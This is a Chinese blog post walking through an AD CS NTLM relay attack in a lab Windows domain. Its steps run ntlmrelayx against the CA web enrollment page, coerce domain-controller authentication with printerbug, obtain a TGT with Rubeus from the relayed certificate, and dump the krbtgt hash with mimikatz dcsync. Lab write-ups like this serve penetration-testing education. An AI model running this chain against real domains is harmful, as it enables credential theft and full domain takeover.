【域渗透】AD CS relay attack
一、漏洞简单介绍:
adcs支持几种基于HTTP的通过管理员可以安装的其他AD CS服务器角色功能。这些基于http的证书注册接口都是易受攻击的NTLM中继攻击,因为没有启用NTLM中继保护,而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此更安全的协议(如 Kerberos)无法使用。
二、环境部署及介绍
(不一定需要辅dc,任意域内机器安装adcs即可)
角色 | IP | 系统信息 |
攻击机 | 192.168.237.131 | Kali |
DC主机 | 192.168.237.22 | win2012R2 |
辅DC | 192.168.237.24 | win2012R2 |
PS:不能relay自身否则脚本会报错
在dc辅控上装上adcs(这里我主dc也装了),勾选1,4默认安装即可
同时看一下dc和dc辅控是否在domain computers组里面,不在就自己加入即可,否则会利用失败
三、漏洞利用
域内定位ca机器:certutil -config - -ping
安装impacket旧版本没有adcs命令:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
攻击机器开启监听:python3 ntlmrelayx.py -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs
利用任意的触发机器账号认证,使辅域进行强连回来,这里使用的是打印机服务:python printerbug.py domain/user:password@192.168.237.22 192.168.237.131
ntlmrelayx成功进行relay,并获取到证书信息
利用上面获取到的证书,获取tgt并注入:
Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt
出现了如何下报错:KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
这里解决打开组策略,计算机配置\Windows 设置\安全设置\本地策略\安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可
再次重新测试发现成功获取到了TGT
然后利用mimikatz,进行导出hash:KERBEROS::List lsadump::dcsync /user:krbtgt
补充:获取TGT的时候遇到的是KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED这种报错,有可能是时间不同步的原因,可重启环境重新测试。
参考链接:
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://mp.weixin.qq.com/s/wW94EiPiOmJsWeFR64Dg1A
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/15070423.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构